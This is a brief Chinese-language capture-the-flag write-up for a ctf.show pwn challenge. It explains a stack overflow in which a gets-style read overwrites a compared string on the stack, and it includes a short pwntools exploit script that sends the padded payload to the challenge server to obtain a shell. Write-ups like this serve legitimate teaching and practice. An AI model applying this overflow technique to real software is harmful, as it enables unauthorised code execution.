# 1. 查看程序
64 位程序,保护全开
ida 反汇编查看:
从上面看到会将一个字符串复制到 V5,然后有一个 check 的函数:
fake_flag:
check 函数会将复制过去的 v5 与系统保存的字符串逐个进行对比,直到对比时两个字符串相等时返回 1
,就可以 getshell
# 2. 漏洞分析
由于一开始复制给 v5 的字符串在栈上,而后面有个 get 函数也是往栈上写内容,并且地址更低也就可以覆盖 v5 的内容来满足后面的判断
# exp
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='amd64', log_level='debug') | |
p=remote("pwn.challenge.ctf.show",29390) | |
payload1=b"a"*0x30+b"n0t_r3@11y_f1@g" | |
p.sendline(payload1) | |
p.interactive() |